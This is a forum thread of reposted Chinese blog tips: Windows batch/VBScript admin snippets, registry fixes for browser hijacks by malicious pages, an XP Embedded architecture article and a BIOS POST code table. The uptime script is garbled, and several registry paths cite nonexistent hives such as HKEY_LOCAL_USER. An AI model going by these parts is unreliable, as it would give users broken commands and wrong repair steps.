-n 不保留備份 
-z 不重起 
-q 安靜模式 
如果有一堆補丁要打,那麼用RAR打包成自解壓檔,外加一個批次處理。 
for %%f in (KB??????.exe) do %%f -n -z -q 
for %%f in (KB??????.exe) do del %%f 
del %0     Windows腳本 
很多事用腳本來做是很簡潔的。下面給出幾個常用腳本的echo版。 
1,顯示系統版本 
@echo for each ps in getobject _ >ps.vbs 
@echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>ps.vbs 
@echo wscript.echo ps.caption^&" "^&ps.version:next >>ps.vbs 
cscript //nologo ps.vbs & del ps.vbs 
2,列舉進程 
@echo for each ps in getobject _ >ps.vbs 
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs 
@echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs 
cscript //nologo ps.vbs & del ps.vbs 
3,終止進程 
@echo for each ps in getobject _ >pk.vbs 
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pk.vbs 
@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pk.vbs 
要終止PID為123的進程,使用如下語法: 
cscript pk.vbs 123 
如果顯示一個0,表示終止成功。 
然後: 
del pk.vbs 
4,重啟系統 
@echo for each os in getobject _ >rb.vbs 
@echo ("winmgmts:{(shutdown)}!\\.\root\cimv2:win32_operatingsystem").instances_ >>rb.vbs 
@echo os.win32shutdown(2):next >>rb.vbs & cscript //nologo rb.vbs & del rb.vbs 
5,列舉自啟動的服務 
@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs 
@echo if sc.startmode="Auto" then wscript.echo sc.name^&" - "^&sc.pathname >>sc.vbs 
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs 
6,列舉正在運行的服務 
@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs 
@echo if sc.state="Running" then wscript.echo sc.name^&" - "^&sc.pathname >>sc.vbs 
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs 
7,顯示系統最後一次啟動的時間 
@echo for each os in getobject _ >bt.vbs 
@echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>bt.vbs 
@echo wscript.echo os.lastbootuptime:next >>bt.vbs & cscript //nologo bt.vbs & del bt.vbs 
顯示結果的格式是: 
yyyymmddHHMMSS******ZZZZ 
_年_月日時分秒_微秒_時區 
8,顯示系統運行時間 
@echo for each os in getobject _ >rt.vbs 
@echo ("winmgmts:\\.\root\cimv2:win32_perfrawdata_perfos_system").instances_ >>rt.vbs 
@echo s=os.timestamp_sys100ns:l=len(s):s=left(s,l-7):for i=1 to l-7 >>rt.vbs 
@echo t=t^&mid(s,i,1)=t\86400:r=r^&d:t=t mod 86400:next >>rt.vbs 
@echo wscript.echo cintR^&"d "^&t\3600^&"h "^&t\60 mod 60^&"m "^&t mod 60^&"s":next >>rt.vbs 
cscript //nologo rt.vbs & del rt.vbs 
這個運行時間是從性能計數器中獲得的64位整型數,不會出現在49.7天后溢出的情況。     附言 
cmd shell博大精深,本文掛一漏萬講了一些常用技巧,希望對各位有所幫助。 
也許你早知道了這些方法,也許你有更好的方法,希望你能寫出來和大家分享。 
最後,感謝你耐心看完本文。本人水準有限,錯誤之處懇請指正。
台灣災難都是事後算帳 無人飛行載具(Unmanned Aerial Vehicle,UAV)為什麼沒大量應用於救災行列 絲絲有2種 .net有很多種 一種治眼睛是MS 另一種治腦筋是Borland 發表人 - conundrum 於 2005/11/17 19:58:34
conundrum
尊榮會員


發表:893
回覆:1272
積分:643
註冊:2004-01-06

發送簡訊給我
#2 引用回覆 回覆 發表時間:2005-11-17 20:04:13 IP:220.143.xxx.xxx 未訂閱
http://oldblog.blogchina.com/category.php?id=15816&pageno=2 惡意網頁病毒十三大症狀分析及簡單修復方法 一、對IE流覽器產生破壞的網頁病毒: (一).默認主頁被修改 1.破壞特性:默認主頁被自動改為某網站的網址。 2.表現形式:流覽器的默認主頁被自動設為如********.COM的網址。 3.清除方法:採用手動修改註冊表法,開始功能表->運行->regedit->確定,打開註冊表編輯工具,按順序依次打開: HKEY_LOCAL_USER\Software\Microsoft\Internet Explorer\Main 分支,找到Default_Page_URL鍵值名(用來設置默認主頁),在右視窗點擊右鍵進行修改即可。按F5鍵刷新生效。 危害程度:一般 (二).默認首頁被修改 1.破壞特性:默認首頁被自動改為某網站的網址。 2.表現形式:流覽器的默認主頁被自動設為如********.COM的網址。 3.清除方法:採用手動修改註冊表法,開始功能表->運行->regedit->確定,打開註冊表編輯工具,按如下順序依次打開: HKEY_LOCAL_USER\Software\Microsoft\Internet Explorer\Main分支,找到StartPage鍵值名(用來設置默認首頁),在右視窗點擊右鍵進行修改即可。按F5鍵刷新生效。 危害程度:一般 (三).默認的微軟主頁被修改 1.破壞特性:默認微軟主頁被自動改為某網站的網址。 2.表現形式:默認微軟主頁被篡改。 3.清除方法: (1)手動修改註冊表法:開始功能表->運行->regedit->確定,打開註冊表編輯工具,按如下順序依次打開: HKEY_LOCAL_MACHINE\Software\Microsoft\InternetExplorer\Main 分支,找到 Default_Page_URL鍵值名(用來設置默認微軟主頁),在右視窗點擊右鍵,將鍵值修改為 http://www.microsoft.com/windows/ie_intl/cn/start/ 即可。按F5鍵刷新生效。 (2)自動檔導入註冊表法:請把以下內容輸入或粘貼複製到記事本內,以副檔名為reg的任意檔案名存在C盤的任一目錄下,然後執行此檔,根據提示,一路確認,即可顯示成功導入註冊表。 REGEDIT4 [HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main] "default_page_url"="http://www.microsoft.com/windows/ie_intl/cn/start/" 危害程度:一般 (四).主頁設置被遮罩鎖定,且設置選項無效不可更改 1.破壞特性:主頁設置被禁用。 2.表現形式:主頁地址欄變灰色被遮罩。 3.清除方法:(1)手動修改註冊表法:開始功能表->運行->regedit->確定,打開註冊表編輯工具,按如下順序依次打開: HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\分支,新建 "ControlPanel"主鍵,然後在此主鍵下新建鍵值名為"HomePage"的DWORD值,值為"00000000",按F5鍵刷新生效。 (2)自動檔導入註冊表法:請把以下內容輸入或粘貼複製到記事本內,以副檔名為reg的任意檔案名存在C盤的任一目錄下,然後執行此檔,根據提示,一路確認,即可顯示成功導入註冊表。 REGEDIT4 [HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel] "HomePage"=dword:00000000 危害程度:輕度 (五).默認的IE搜索引擎被修改 1.破壞特性:將IE的默認微軟搜索引擎更改。 2.表現形式:搜索引擎被篡改。 3.清除方法:(1)手動修改註冊表法:開始功能表->運行->regedit->確定,打開註冊表編輯工具,第一,按如下順序依次打開:HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Search分支,找到"SearchAssistant"鍵值名,在右面窗口點擊"修改",即可對其鍵值進行輸入為: http://ie.search.msn.com/{SUB_RFC1766}/srchasst/srchasst.htm ,然後再找到"CustomizeSearch"鍵值名,將其鍵值修改為: http://ie.search.msn.com/{SUB_RFC1766}/srchasst/srchasst.htm ,按F5鍵刷新生效。 (2)自動檔導入註冊表法:請把以下內容輸入或粘貼複製到記事本內,以副檔名為reg的任意檔案名存在C盤的任一目錄下,然後執行此檔,根據提示,一路確認,即可顯示成功導入註冊表。 REGEDIT4 [HKEY_LOCAL_MACHINE\Software\Microsoft\InternetExplorer\Search] "SearchAssistant"="http://ie.search.msn.com/{SUB_RFC1766}/srchasst/srchasst.htm" "CustomizeSearch"="http://ie.search.msn.com/{SUB_RFC1766}/srchasst/srchasst.htm" 危害程度:一般 (六).IE標題欄被添加非法資訊 1.破壞特性:通過修改註冊表,使IE標題欄被強行添加宣傳網站的廣告資訊。 2.表現形式:在IE頂端藍色標題欄上多出了什麼"正點網,即使正點網! http://www.zhengdian.com "尾巴。 3.清除方法:(1)手動修改註冊表法:開始功能表->運行->regedit->確定,打開註冊表編輯工具,第一,按如下順序依次打開:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main分支,找到"Window Title"鍵值名,輸入鍵值為Microsoft Internet Explorer,按F5刷新。 第二,按如下順序依次打開:HKEY_CURRENT_MACHINE\Software\ Microsoft\InternetExplorer\Main分支,找到"Window Title"鍵值名,輸入鍵值為Microsoft Internet Explorer,按F5刷新生效。 (2)自動檔導入註冊表法:請把以下內容輸入或粘貼複製到記事本內,以副檔名為reg的任意檔案名存在C盤的任一目錄下,然後執行此檔,根據提示,一路確認,即可顯示成功導入註冊表。 REGEDIT4 [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main] "Window Title"="Microsoft Internet Explorer" [HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main] "Window Title"="Microsoft Internet Explorer" 危害程度:一般 (七).OE標題欄被添加非法資訊破壞特性: 破壞特性:通過修改註冊表,在微軟的集成電子郵件程式Microsoft Outlook頂端標題欄添加宣傳網站的廣告資訊br] 表現形式:在頂端的Outlook Express藍色標題欄添加非法資訊。 清除方法:(1)手動修改註冊表法:開始功能表->運行->regedit->確定,打開註冊表編輯工具,按如下順序依次打開: HKEY_LOCAL_USER\Software\Microsoft\Outlook Express分支,找到WindowTitle以及Store Root鍵值名,將其鍵值均設為空。按F5鍵刷新生效。 (2)自動檔導入註冊表法:請把以下內容輸入或粘貼複製到記事本內,以副檔名為reg的任意檔案名存在C盤的任一目錄下,然後執行此檔,根據提示,一路確認,即可顯示成功導入註冊表。 REGEDIT4 [HKEY_CURRENT_USER\Software\Microsoft\Outlook Express] "WindowTitle"="" "Store Root"="" 危害程度:一般 (八).滑鼠右鍵功能表被添加非法網站鏈結: 1.破壞特性:通過修改註冊表,在滑鼠右鍵彈出功能表裏被添加非法站點的鏈結。 2.表現形式:添加"網址之家"等諸如此類的鏈結資訊。 3.清除方法:(1)手動修改註冊表法:開始功能表->運行->regedit->確定,打開註冊表編輯工具,按如下順序依次打開: HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\MenuExt分支,在左邊視窗凡是屬於非法鏈結的主鍵一律刪除,按F5鍵刷新生效。 4.危害程度:一般 (九).滑鼠右鍵彈出功能表功能被禁用失常: 1.破壞特性:通過修改註冊表,滑鼠右鍵彈出功能表功能在IE流覽器中被完全禁止。 2.表現形式:在IE中點擊右鍵毫無反應。 3.清除方法:(1)手動修改註冊表法:開始功能表->運行->regedit->確定,打開註冊表編輯工具,按如下順序依次打開: HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions分支,找到"NoBrowserContextMenu"鍵值名,將其鍵值設為"00000000",按F5 鍵刷新生效。 (2)自動檔導入註冊表法:請把以下內容輸入或粘貼複製到記事本內,以副檔名為reg的任意檔案名存在C盤的任一目錄下,然後執行此檔,根據提示,一路確認,即可顯示成功導入註冊表。 REGEDIT4 [HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions] "NoBrowserContextMenu"=dword:00000000 危害程度:輕度 (十).IE收藏夾被強行添加非法網站的位址鏈結 破壞特性:通過修改註冊表,強行在IE收藏夾內自動添加非法網站的鏈結資訊。 表現形式:躲藏在收藏夾下。 清除方法:請用手動直接清除,用滑鼠右鍵移動至該非法網站資訊上,點擊右鍵彈出功能表,選擇刪除即可。 危害程度:一般 (十一).在IE工具欄非法添加按鈕 破壞特性:工具欄處添加非法按鈕。 表現形式:有按鈕圖示。 清除方法:直接點擊滑鼠右鍵彈出功能表,選擇"刪除"即可。 危害程度:一般 (十二).鎖定位址欄的下拉功能表及其添加文字資訊 破壞特性:通過修改註冊表,將位址欄的下拉菜單鎖定變為灰色。 表現形式:不僅使下拉功能表消失,而且在其上覆蓋非法文字資訊。 清除方法:(1)手動修改註冊表法:開始功能表->運行->regedit->確定,打開註冊表編輯工具,按如下順序依次打開: HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Toolbar分支,在右邊視窗找到"LinksFolderName"鍵值名,將其鍵值設為"鏈結",多餘的字元一律去掉,按F5鍵刷新生效。 危害程度:輕度 (十三).IE菜單"查看"下的"原始檔案"項被禁用 破壞特性:通過修改註冊表,將IE功能表"查看"下的"原始檔案"項鎖定變為灰色。 表現形式:"原始檔案"項不可用。 清除方法:(1)手動修改註冊表法:開始功能表->運行->regedit->確定,打開註冊表編輯工具,第一,按如下順序依次打開: HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions分支,找到"NoViewSource"鍵值名,將其鍵值設為"00000000",按F5鍵刷新生效。 按如下順序依次打開:HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Internet Explorer\Restrictions分支,找到"NoViewSource"鍵值名,將其鍵值設為"00000000",按F5鍵刷新生效。 (2)自動檔導入註冊表法:請把以下內容輸入或粘貼複製到記事本內,以副檔名為reg的任意檔案名存在C盤的任一目錄下,然後執行此檔,根據提示,一路確認,即可顯示成功導入註冊表。 REGEDIT4 [HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions] "NoViewSource"=dword:00000000 [HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Internet Explorer\Restrictions] "NoViewSource"=dword:00000000 危害程度:輕度 閱讀全文... study[2005年 01月21日 13 : 00] 評論:[0] | 引用:[4] 加入博采中心 •Windows XP Embedded 體系結構基礎 Windows XP Embedded 體系結構基礎 Windows XP Embedded 體系結構基礎 2002-02-14• •Jon Fincher••微軟 1 2 下一頁 Windows XP Embedded 的體系結構很複雜,一篇文章的篇幅是遠遠不夠的。因此,我只是以一種結構化的方式著重講述個別工具背後的體系結構。但是,我首先要介紹這些工具的一個組成部分,這就是大家都比較陌生的 CMI。 CMI:技術的核心 正如您從我的上一篇文章(以及所有出版物)中所瞭解到的,Windows XP Embedded 使用基於 SQL 的資料庫來存儲所有元件。資料庫可以是本地或遠端的 Microsoft? SQL Server,也可以是本地的 Microsoft? 資料引擎 (MSDE)(可在 Windows XP Embedded CD 上找到)。而 Windows NT Embedded 4.0 則使用一個單一的本地 Jet 資料庫 .mdb 檔來存儲所有的元件和配置。 為了能夠從一組工具中無縫訪問本地和遠端資料庫,同時提供快捷的資料庫切換,整個體系結構中設置了一個資料庫通信層。該層稱為 CMI,或元件管理介面。它的主要目的是在 Windows XP Embedded 工具(Target Designer、Component Designer 和 Component Database Manager)和元件資料庫之間提供一個標準介面,而不管資料庫駐留在哪里(本地或遠端、SQL Server 或 MSDE)。只要與元件資料庫中的內容有關,CMI 就會被調用。 因為所有工具都依賴於活動的資料庫連接來進行工作,所以任何工具所做的第一件事都是請求 CMI 提供一個活動資料庫連接。如果沒有可用的資料庫連接,CMI 將返回一個失敗,而工具將報告一個錯誤。總之,沒有資料庫連接,Windows XP Embedded 將不能進行任何工作。 CMI 也支援某種級別的非同步資料庫訪問,這種情況通常發生在遠端 SQL Server 資料庫和多個用戶端之間。所有涉及資料庫更改的操作都在 SQL 中處理,並在操作失敗時提供復原功能。CMI 還可以區分唯讀模式和獨佔模式。任何工具要從資料庫中刪除資訊(當前僅限於元件資料庫管理器),都必須具有獨佔訪問許可權,如果任何其他工具打開了資料庫,該工具將不能獲得這一許可權。另一方面,如果某工具已經被授予獨佔訪問許可權,其他工具將不能訪問資料庫,直到該工具釋放這一許可權。 此物件非彼物件 注意:下面的討論中將使用兩個術語 - 元件和實例,二者很容易混淆。簡單地說,元件只是一組駐留在資料庫中的資源和屬性。元件添加到配置中便稱為實例,可以修改、處理和構建。可以把元件視為 cookie 模式,而實例是從該模式中創建的實際 cookie。更改 cookie 剪裁模式並不容易,但在剪裁 cookie 後,可以隨意對 cookie 進行處理。瞭解元件和實例之間的這種差異很重要,在本文和以後的文章中都將涉及這一問題。 因為 CMI 是工具的 COM 伺服器,這使得 Windows XP Embedded 體系結構形成這樣一個基本特性 - 把任何事物都視為物件。配置、元件、實例、資源、檔、註冊項、存儲庫都是 CMI 覆蓋下的對象。因此,Windows XP Embedded 體系結構體現了面向物件 (OO) 思想的三個原則:封裝、繼承和多態。這裏我們不對 OO 設計做詳細討論,只解釋其中與 Windows XP Embedded 體系結構有關的幾個方面。討論的重點將集中在元件上,但相關的概念可以擴展到所有 Windows XP Embedded 物件。 每個 Windows XP Embedded 物件都是一個獨立的單元。元件帶有自己的屬性和內部代碼,以此來封裝自己,並與其他物件區分開來。 元件也能夠繼承其他元件的屬性。例如,假定一組設備都基於同一晶片組:假設為音效卡驅動器,使用虛構的 SoundExplosion 1A 晶片組。有三個音效卡使用該晶片組,但提供不同的功能:一個用於遊戲埠,一個用於 MIDI 埠,另一個用於 SCSI 介面。我們不用創建三個大同小異的元件來適應不同的要求,而只需創建一個元件,將基本功能封裝進去。然後針對三種差異創建三個元件,並將基本功能組件列為 "原型"。這三個元件將繼承與原型相關聯的屬性和資源,但同時也添加了自己的資源。 Windows XP Embedded 物件中的多態通常由 DHTML 配置腳本和構建腳本來處理。DHTML 配置腳本允許元件的最終用戶在元件實例中動態設置屬性,然後在構建腳本中檢查這些屬性並對其做出反應。這樣,您就可以在構建配置時更改元件的行為,以滿足開發人員的需求。 這最後一部分會進一步體現 CMI 面向物件的特性:Windows XP Embedded 中的每個物件都具有一組屬性和方法,某些物件甚至能夠對事件做出反應。屬性可以分為標準屬性(如元件名稱、元件作者和版權)和高級屬性(cmiNoHelpFiles 是元件的一個常用高級屬性)。物件的方法可以簡單地繼承自基本元件(如基本構建行為),也可以是該元件所特有的(如用戶介面核心元件,它包含 DHTML 配置腳本以及構建腳本,可以實現不同的 UI 功能)。可以在構建過程中引發事件,並可由組件腳本做出反應。 某些高級屬性已經被預定義,元件最常見的高級屬性有 cmiNoHelpFiles(構建腳本用它從構建中刪除幫助檔)、cmiLangEnableMUI(構建腳本用它來啟用元件的多語言用戶介面 [MUI] 支援)以及 cmiProtPropList(Target Designer 用它來保護預定義的屬性)。要檢查組件的高級屬性,可以在 Target Designer 中將元件添加到某個配置,然後在 Configuration Editor 中單擊該元件,再單擊 Advanced。 擴展物件模型 Windows XP Embedded 的物件特性和 CMI 應用不僅限於元件和實例,CMI 也把配置當作物件處理。配置的標準屬性包括配置名稱、所有者、作者和版權。高級配置屬性包括有關目標啟動驅動器、啟動 ARC 路徑和幫助檔的設置。要檢查這些屬性,可以在 Target Designer 的 Configuration Editor 中選擇配置名稱,然後在 Details 窗格中單擊 Advanced。 與元件和實例的物件身份一樣,它們的組成部分也都被視為物件。元件中的每個檔、註冊表或其他資源都是物件,分別具有一組屬性。要檢查這些屬性,可以在 Configuration Editor 中展開實例,然後選擇 Files、Registry Data 或 Resources。在 Details 窗格中右擊所要檢查的資源,這時便會顯示該資源的標準屬性,同時顯示 Advanced 按鈕,單擊該按鈕可以顯示資源的高級屬性。這同樣適用於與該配置相關聯的 Extra Files、Extra Registry Data 和 Extra Resources。要完成所有內容,每一個組、包、存儲庫和存儲庫集也都被作為物件處理,它們都有自己的標準屬性和高級屬性。 CMI 的運作 假設我們有一個應用程式要包含到一個運行時映射中。一般的過程是先為應用程式創建一個元件,將元件導入資料庫,將元件包含在某個配置中,然後構建運行時映射。現在我們看一下 CMI 在其中的作用。(由於要在接下來的兩篇文章中詳細探討元件的創建,因此這裏只做一個簡單的介紹。) 當啟動 Component Designer 時,CMI 首先確保具有一個資料庫連接。如果創建新元件,CMI 將創建一個新的元件物件,然後 Component Designer 使用該物件作為所定義的所有元件資訊的存儲位置。基本的創建過程包括定義組件的名稱、指定要複製的檔和將其放在運行時映射中的位置,以及指定使用哪個註冊表主鍵並將其放在何處。名稱是元件的標準屬性,因此它包含在元件物件中。所指定的檔和註冊項是 CMI 創建的物件,它們將附加到元件物件中。 導入元件時,先啟動元件資料庫管理器。資料庫管理器首先調用 CMI 來連接安裝時指定的資料庫,如果 CMI 連接成功,則可以將 SLD 導入到該資料庫。(SLD 表示資源級別定義,並稱為"滑動"。由 Component Designer 輸出。)元件資料庫管理器再將 SLD 傳遞到 CMI,以便進行處理。流覽資料庫、刪除包和元件以及檢查物件的屬性都由 CMI 處理,CDM 的作用相當於基本 COM 物件層的 UI。 當最終準備構建運行時映射時,CMI 將再次驗證資料庫連接。(是否看到了一個模式?)創建新的配置需要由 CMI 來創建相應的物件,完成整個元件流覽器的內容也是如此。要將元件添加到配置,CMI 首先要基於選定的元件創建一個實例,然後將其附加到打開的配置中。同時也要為該實例的檔、註冊表和其他資源創建資源物件。在相關性檢查過程中,CMI 將負責標識相關性,並創建相關性解析所需的組件列表。在構建過程中,將調用 CMI 來訪問要複製的實際檔,同時提供詳細的屬性資訊來處理相應的構建。 總結與展望 上面我們簡單介紹了 Windows XP Embedded 的基本體系結構。CMI 是該體系結構的核心,用於實現 COM 伺服器的功能,為 Windows XP Embedded 工具提供標準的元件資料庫訪問。CMI 賦予該體系結構面向物件的特性,為運行時開發過程中所需的各項內容創建相應的物件。 台灣災難都是事後算帳 無人飛行載具(Unmanned Aerial Vehicle,UAV)為什麼沒大量應用於救災行列 絲絲有2種 .net有很多種 一種治眼睛是MS 另一種治腦筋是Borland 發表人 - conundrum 於 2005/11/17 20:05:26
conundrum
尊榮會員


發表:893
回覆:1272
積分:643
註冊:2004-01-06

發送簡訊給我
#3 引用回覆 回覆 發表時間:2005-11-17 20:06:59 IP:220.143.xxx.xxx 未訂閱

http://oldblog.blogchina.com/category.php?id=15816&pageno=3
debug故障代碼表 
 
DEBUG卡是一般硬體維修必備的工具,用它來對硬體故障做最直觀的判斷還是不錯的
喜歡硬體的朋友可以買一個備用,很便宜
用磐正主板的不用了,應為主板自帶
ffh or cfh BIOS插反。用錯BIOS。主板有問題。ADD-ON卡沒插好
C1H-C5H MEMORY 沒插好。
挑MEMORY。MEMORY損壞
2DH VGA BIOS有問題。VGA卡沒插好
26H 超頻失敗
07H-12H 設定鍵盤控制器失敗。RTC 失敗 
PCI/ISA兩用型DEBUG卡故障代碼明細表
(只適用於PCI/ISA兩用型及PCI單用型) 
代碼 Award BIOS AMI BIOS Phoenix和Tandy3000 BIOS 
00 (見特殊代碼意義) 已顯示系統的配置;即將控制工INT19引導裝入。
(見特殊代碼意義) (見特殊代碼意義) 
01 處理器測試1,處理起狀態核實,如果測試失敗,迴圈是無限的。
 處理器寄存器的測試即將開始,不可遮罩中斷即將停用。
 CPU寄存器測試正在進行或者失靈。 
02 確定診斷的類型(正常或者製造)。如果鍵盤緩衝器含有資料就會失效。 停用不可遮罩中斷;通過延遲開始。 CMOS寫入/讀出正在進行或者失靈。 
03 清除8042鍵盤控制器,發出TEST-KBRD命令(AAH)。 通電延遲已完成。
 ROM B10S檢查部件正在進行或失靈。 
04 使8042鍵盤控制器重定,核實TESTKBRD。 鍵盤控制器較重定/通電測試。 可編程間隔計時器的測試正在進行或失靈。 
05 如果不斷重複製造測試1至5,可獲得8042控狀態。 
已確定軟復位/通電;即將啟動ROM。 DMA初始準備正在進行或者失靈。 
06 使電路片作初始準備,停用視頻,奇偶性,DMA電路片,以及清除DMA電路片,所有頁面寄存器和CMOS停機位元組。
使電路片作初始準備,停用視頻,奇偶性,DMA電路片,以及清除DMA電路片,所有頁面寄存器和CMOS停機位元組。 
已啟動ROM計算ROM BIOS檢查總和,以及檢查鍵盤緩衝器是否清除。 DMA初始頁面寄存器讀/寫測試正在進行或失靈。 
07 處理器測試2,核實CPU寄存器的工作。
 ROM BIOS檢查總和正常,鍵盤緩衝器已清除,向鍵盤發出BAT(基本保證測試)命令。 無意義 
08 使CMOS計時器作初始準備,正常地更新計時器的迴圈。
 已向鍵盤發出BAT命令,即將寫入BAT命令。 RAM更新檢驗正在進行或失靈。 
09 EPROM檢查總和且必須等於零才通過。 核實鍵盤的基本保證測試,接著核實鍵盤命令字節。
 第一個64K RAM測試正在進行。 
0A 使視頻界面作初始準備。 發出鍵盤命令字節代碼,即將寫入命令字節資料。 第一個64K RAM晶片或資料線失靈,移位元。 
0B 測試8254通道0。
 寫入鍵盤控制器命令字節,即將發出引腳23和24的封鎖/解鎖命令。 第一個64K RAM奇/偶邏輯失靈。 
0C 測試8054通道1。 鍵盤控制器引腳23,24已封鎖/解鎖;已發出NOP命令。 第一個64K RAM的位址線故障。     0D 1.檢查CPU速度是否與系統時鐘相匹配。
2.檢查控制晶片已編程值是否條符合初設置。
3.視頻通道測試,如果失敗,則鳴喇叭。
 已處理NOP命令;接著測試CMOS停開寄存器。 第一個64K RAM的奇偶性失靈。 
0E 測試CMOS停機位元組。 CMOS停開寄存器讀/寫測試;將計算CMOS檢查總和。 初始貨輸入/輸出埠位址。 
0F 測試擴展的CMOS。 已計算CMOS檢查總和寫入診斷位元組;CMOS開始初始準備。 無意義。 
10 測試DMA通道0。 CMOS已作初始準備,CMOS狀態寄存器即將為日期和時間作初始準備。 第一個64K RAM第0位元故障。 
11 測試DMA通道1。 COMS狀態寄存器已作初始準備,即將停用DMA和中斷控制器。 第一個64K RAM第1位元故障。 
12 測試DMA頁面寄存器。 停用DMA控制器1以及中斷控制器1和2;即將視頻顯示器並使埠B作初始準備。 第一個64K RAM第2位元故障。 
13 測試8471鍵盤控制器介面。 視頻顯示器已停用,埠B已作初始準備;即將開始電路片初始化/記憶體自動檢測。 第一個64K RAM第3位元故障。 
14 測試記憶體更新觸發電路。 電路片初始化/記憶體自動檢測結束;8254計時器測試即將開始。 第一個64K RAM第4位元故障。 
15 測試開頭64K的系統記憶體。 第2通道計時器測試了一半;8254第2通道計時器即將完成測試。 第一個64K RAM第5位元故障。 
16 建立8259所用的中斷向量表。 第2通道計時器測試結束;8254第1通道計時器即將完成測試。 第一個64K RAM第6位元故障。 
17 調准視頻輸入/輸出工作,若裝有視頻BIOS則啟用。 第1通道計時器測試結束;8254第0通道即將完成測試。 第一個64K RAM第7位元故障。 
18 測試視頻記憶體,如果安裝選用的視頻BIOS通過,則可繞過。 第0通道計時器測試結束;即將開始更新記憶體。 第一個64K RAM第8位元故障。 
19 測試第1通道的中斷控制器(8259)遮罩位。 已開始更新記憶體,接著將完成記憶體的更新。 第一個64K RAM第9位元故障。 
1A 測試第2通道的中斷控制器(8259)遮罩位。 正在觸發記憶體更新線路,即將檢查15微秒通/斷時間。 第一個64K RAM第10位元故障。 
1B 測方式CMOS電池電平。 完成記憶體更新時間30微秒測試;即將開始基本的64K記憶體測試。 第一個64K RAM第11位元故障。 
1C 測試COMS檢查總和。 無意義。 第一個64K RAM第12位元故障。 
1D 調定COMS的配置。 無意義。 第一個64K RAM第13位元故障。 
1E 測定系統記憶體的大小,並且把客觀存在和COMS值比較。 無意義。 第一個64K RAM第14位元故障。 
1F 測試64K記憶體至最高640K。 無意義。 第一個64K RAM第15位元故障。 
20 測量固定的8259中斷位。 開始基本的64K記憶體測試;即將測試地址線。 從屬DMA寄存器測試正在進行或失靈。 
21 維持不可遮罩中斷(NMI)位(奇偶性或輸入/輸出通道的檢查)。 通過地址線測試;即將觸發奇偶性。 主DMA寄存器測試正在進行或失靈。 
22 測試8259的中斷功能。 結束觸發奇偶性;將開始串列資料讀/寫測試。 主中斷遮罩寄存器正在進行或失靈。 
23 測試保護方式8086虛似方式和8186頁面方式。 基本的64K串列資料讀/寫測試正常;即將開始中斷向量初始化之前的任何調節。 從屬中斷遮罩寄存器測試正在進行或失靈。 
24 測定1Mb以上的擴展記憶體。 向量初始化之前的任何調節完成,即將開始中斷向量的初始準備。 設置ES段位址寄存器註冊表到記憶體高端。 
25 測試除頭一個64K之後的所有記憶體。 完成中斷向量初始準備;將為旋轉武斷續開始讀出8042的輸入/輸出埠。 裝入中斷向量正在進行或失靈。 
26 測試保護方式的例外情況。 讀寫8042的輸入/輸出埠;即將為旋轉式斷續開始使全局資料作初始準備。 開啟A20地址線;使之參入定址。 
27 確定超高速緩衝記憶體的控制或遮罩RAM。 全1數據初始準備結束;接著將進行中斷向量之後的任何初始準備。 鍵盤控制器測試正在進行或失靈。 
28 確定超高速緩衝記憶體的控制或者特別的8042鍵盤控制器。 完成中斷向量之後的初始準備;即將調定單色廣式。 CMOS電源故障/檢查總和計算正在進行。 
29 無意義。 已調定單色方式,即將調定彩色方式。 CMOS配置有效性的檢查正在進行。 
2A 使鍵盤控制器作初始準備。 已調定彩色方式,即將進行ROM測試前的觸發奇偶性。 置空64K基本記憶體。 
2B 使磁碟機和控制器作初始準備。 觸發奇偶性結束;即將控制任選的視頻ROM檢查前所需的任何調節。 螢幕記憶體測試正在進行或失靈。 
2C 檢查序列埠,並使之作初始準備。 完成視頻ROM控制之前的處理;即將查看任選的視頻ROM並加以控制。 螢幕初始準備正在進行或失靈。 
2D 檢查並行串口,並使之做初始準備。 以完成任選的視頻ROM控制,即將進行視頻ROM回復控制之後任何其他處理的控制。 螢幕回掃測試正在進行或失靈。 
2E 使磁碟機和控制器作初始準備。 使視頻ROM控制之後的處理復原;如果沒發現EGA/VGA就要進行顯示記憶體讀寫測試。 檢查視頻ROM正在進行。 
2F 檢測數學輔助運算器,並使之做初始準備。 沒發現EGA/VGA;即將開始顯示記憶體讀/寫測試。 無意義。 
30 建立基本記憶體和擴展記憶體。 通過顯示記憶體讀/寫測試;即將進行掃描檢查。 認為螢幕是可以工作的。 
31 檢測從C800:0至EFFF:0的選用ROM,並使之做處世準備。 顯示記憶體讀/寫測試失敗,即將進行另一種顯示記憶體讀/寫測試。 單色監視器是可以工作的。 
32 對主板上的COM/LTP/FDD/聲音設備等I/O晶片編程使之適合設置值。 通過另一種顯示記憶體讀/寫測試;即將進行另一種顯示器掃描檢查。 彩色監視器(40列)是可以工作的。 
33 無意義。 視頻顯示器檢查結束;將開始利用調節開關和實際插卡檢驗顯示器的類型。 彩色監視器(80列)是可以工作的。 
34 無意義。 已檢驗顯示適配器;接著將調定顯示方式。 記時器滴答聲中斷測試正在進行或失靈。 
